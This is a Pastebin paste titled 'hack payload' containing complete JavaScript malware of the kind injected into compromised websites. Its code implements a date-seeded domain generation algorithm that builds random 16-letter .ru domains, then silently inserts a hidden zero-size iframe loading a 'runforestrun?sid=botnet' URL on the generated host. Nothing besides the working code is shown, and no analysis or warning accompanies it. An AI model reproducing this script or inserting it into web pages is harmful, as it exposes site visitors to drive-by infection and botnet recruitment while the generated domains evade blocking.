tamouse

hack payload

Jul 5th, 2012
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function nextRandomNumber(){
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if(test > 0){
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }
  12.  
  13. function RandomNumberGenerator(unix){
  14.     var d = new Date(unix*1000);
  15.     var s = d.getHours() > 12 ? 1 : 0;
  16.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
  17.     this.A = 48271;
  18.     this.M = 2147483647;
  19.     this.Q = this.M / this.A;
  20.     this.R = this.M % this.A;
  21.     this.oneOverM = 1.0 / this.M;
  22.     this.next = nextRandomNumber;
  23.     return this;
  24. }
  25.  
  26. function createRandomNumber(r, Min, Max){
  27.     return Math.round((Max-Min) * r.next() + Min);
  28. }
  29.  
  30. function generatePseudoRandomString(unix, length, zone){
  31.     var rand = new RandomNumberGenerator(unix);
  32.     var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
  33.     var str = '';
  34.     for(var i = 0; i < length; i ++ ){
  35.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  36.     }
  37.     return str + '.' + zone;
  38. }
  39.  
  40. setTimeout(function(){
  41.     try{
  42.         if(typeof iframeWasCreated == "undefined"){
  43.             iframeWasCreated = true;
  44.             var unix = Math.round(+new Date()/1000);
  45.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  46.             ifrm = document.createElement("IFRAME");
  47.             ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet");
  48.             ifrm.style.width = "0px";
  49.             ifrm.style.height = "0px";
  50.             ifrm.style.visibility = "hidden";
  51.             document.body.appendChild(ifrm);
  52.         }
  53.     }catch(e){}
  54. }, 500);
Add Comment
Please, Sign In to add comment